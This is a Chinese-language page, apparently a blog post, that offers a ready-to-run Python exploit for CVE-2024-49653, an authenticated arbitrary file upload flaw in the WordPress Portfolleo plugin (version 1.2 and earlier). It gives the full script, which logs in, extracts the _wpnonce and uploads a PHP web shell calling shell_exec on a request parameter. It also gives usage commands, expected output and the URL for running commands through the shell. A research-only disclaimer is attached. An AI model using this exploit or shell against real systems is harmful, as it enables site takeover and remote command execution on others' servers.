WordPress Portfolleo 插件漏洞利用工具 (CVE-2024-49653)

🚀 WordPress Portfolleo Plugin Exploit (CVE-2024-49653)

本项目提供了一个完整的漏洞利用工具,用于检测和利用 WordPress Portfolleo 插件 <= 1.2 中的任意文件上传漏洞。经过身份验证的攻击者可以上传一个恶意的 Web Shell,进而获得服务器远程执行命令的能力。

✨ 功能特性

  • 自动身份验证:支持通过 WordPress 用户名和密码登录后台
  • 防伪标记自动提取 :自动解析页面,获取 _wpnonce 防伪标记
  • 任意文件上传:利用插件漏洞上传 PHP Web Shell
  • 命令执行:通过上传的 Shell 可执行系统命令
  • 简单易用:命令行参数清晰,使用便捷

📦 安装指南

系统要求

  • Python 3.6 或更高版本
  • 拥有 WordPress 后台有效账户

安装依赖

使用 pip 安装所需的 Python 库:

bash 复制代码
pip install requests beautifulsoup4

获取脚本

将本项目中的 CVE-2024-49653.py 脚本保存到本地即可使用。

🛠️ 使用说明

基本用法

bash 复制代码
python CVE-2024-49653.py -u <网站地址> -U <用户名> -p <密码>

参数说明

参数 说明
-u, --url WordPress 站点的基础 URL(例如 http://target.com/wordpress)
-U, --username WordPress 后台登录用户名
-p, --password WordPress 后台登录密码
-h, --help 显示帮助信息

使用示例

bash 复制代码
python CVE-2024-49653.py -u http://192.168.100.74:888/wordpress -U admin -P mypassword123

预期输出

成功利用漏洞后,您将看到类似以下的输出:

less 复制代码
[+] Logged in successfully.
[+] Extracted _wpnonce: e5f7ffa134
[+] Shell has been uploaded.
[*] Check the shell here: http://target.com/wp-content/portfolleo/nxploit.php

使用上传的 Shell

上传成功后,可以通过以下方式执行系统命令:

bash 复制代码
http://target.com/wp-content/portfolleo/nxploit.php?cmd=whoami

💻 核心代码

主程序入口与参数解析

python 复制代码
def parse_arguments():
    parser = argparse.ArgumentParser(description="WordPress Portfolleo plugin <= 1.2 - Arbitrary File Upload vulnerability # by Khaled Alenazi")
    parser.add_argument('-u', '--url', required=True, help='Base URL of the site (e.g. http://192.168.100.74:888/wordpress)')
    parser.add_argument('-U', '--username', dest='username', required=True, help='WordPress username')
    parser.add_argument('-p', '--password', required=True, help='WordPress password')
    return parser.parse_args()

创建会话与后台登录

python 复制代码
def create_session():
    session = requests.Session()
    requests.packages.urllib3.disable_warnings()
    session.verify = False
    return session

def login(session, url, username, password):
    login_url = f"{url}/wp-login.php"
    login_data = {
        'log': username,
        'pwd': password,
        'rememberme': 'forever',
        'wp-submit': 'Log In'
    }
    response = session.post(login_url, data=login_data, headers={"User-Agent": "Mozilla/5.0"})
    return response

def check_login(session):
    return any('wordpress_logged_in' in cookie.name for cookie in session.cookies)

提取 _wpnonce 防伪标记

python 复制代码
def get_nonce(session, url, portfolio_path):
    portfolio_url = f"{url}/{portfolio_path}"
    response = session.get(portfolio_url, headers={"User-Agent": "Mozilla/5.0"})
    soup = BeautifulSoup(response.text, 'html.parser')
    return soup.find('input', {'name': '_wpnonce'})['value']

漏洞利用与 Web Shell 上传

python 复制代码
def upload_shell(session, url, nonce, portfolio_path):
    shell_file = {
        'fileupload': ('nxploit.php', '<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>', 'application/x-php')
    }
    form_data = {
        '_wpnonce': nonce,
        '_wp_http_referer': f'/{portfolio_path}',
        'name': 'profile',
        'dob': '23/03/2025',
        'desc': 'Im Nxploited , Khaled Alenazi',
        'action': 'update',
        'page_options': 'name,dob,desc,datafile',
        'submit': 'Add To Portfolio'
    }
    upload_url = f"{url}/wp-admin/options.php"
    response = session.post(upload_url, headers={"User-Agent": "Mozilla/5.0"}, files=shell_file, data=form_data)
    return response

完整主函数逻辑

python 复制代码
def main():
    args = parse_arguments()
    session = create_session()
    
    response = login(session, args.url, args.username, args.password)
    if check_login(session):
        print("[+] Logged in successfully.")
    else:
        print("[-] Failed to log in.")
        exit()

    portfolio_path = "wp-admin/admin.php?page=portfolleo"
    nonce = get_nonce(session, args.url, portfolio_path)
    print(f"[+] Extracted _wpnonce: {nonce}")

    response = upload_shell(session, args.url, nonce, portfolio_path)
    print("[+] Shell has been uploaded.")
    print("[*] Check the shell here: {}/wp-content/portfolleo/nxploit.php".format(args.url))

if __name__ == "__main__":
    main()

⚠️ 免责声明

本工具仅供安全研究和教育用途。使用此工具进行任何未经授权的访问或破坏活动均为违法行为。使用者需自行承担全部法律责任,作者不对任何滥用行为负责。请仅在获得明确授权的系统上使用本工具。 6HFtX5dABrKlqXeO5PUv/7mATt604kk9CTxbcj7G2fI=

相关推荐
Navicat中国14 分钟前
Navicat 18 内置 AI 助手让数据库开发从繁琐操作迈向智能协作
大数据·人工智能·数据库开发
4SAPI36 分钟前
多模型请求路由怎么设计?成本、速度和能力如何平衡
人工智能·python·gateway·php
魔乐社区1 小时前
翼芯・智算测试与适配优化专区,让国产算力“选得准、跑得通、用得好“
人工智能·开源·大模型
XCDoris3 小时前
郴州logo设计机构
大数据·人工智能·python
Goboy3 小时前
一个人带三个Agent,我用全新TRAE从0到1搭了个资讯周刊站
人工智能·trae
俊哥V3 小时前
每日 AI 研究简报 · 2026-10-19
人工智能·ai
AI_AGENT_DEV_AI3 小时前
AI英语教培智能体的开发
人工智能
物联网软硬件开发-轨物科技3 小时前
【技术白皮书】光伏清检一体化机器人系统解决方案技术白皮书
大数据·运维·网络·人工智能·机器人
海宇数据3 小时前
零信任架构实战:基于海宇网上踪迹欺诈行为识别构建自动化信贷资信评估网关
运维·人工智能·架构·自动化
冬奇Lab4 小时前
开源项目第242期:HyperFrames —— 写 HTML 就能渲染视频,专为 AI Agent 设计的确定性视频框架
人工智能·开源·音视频开发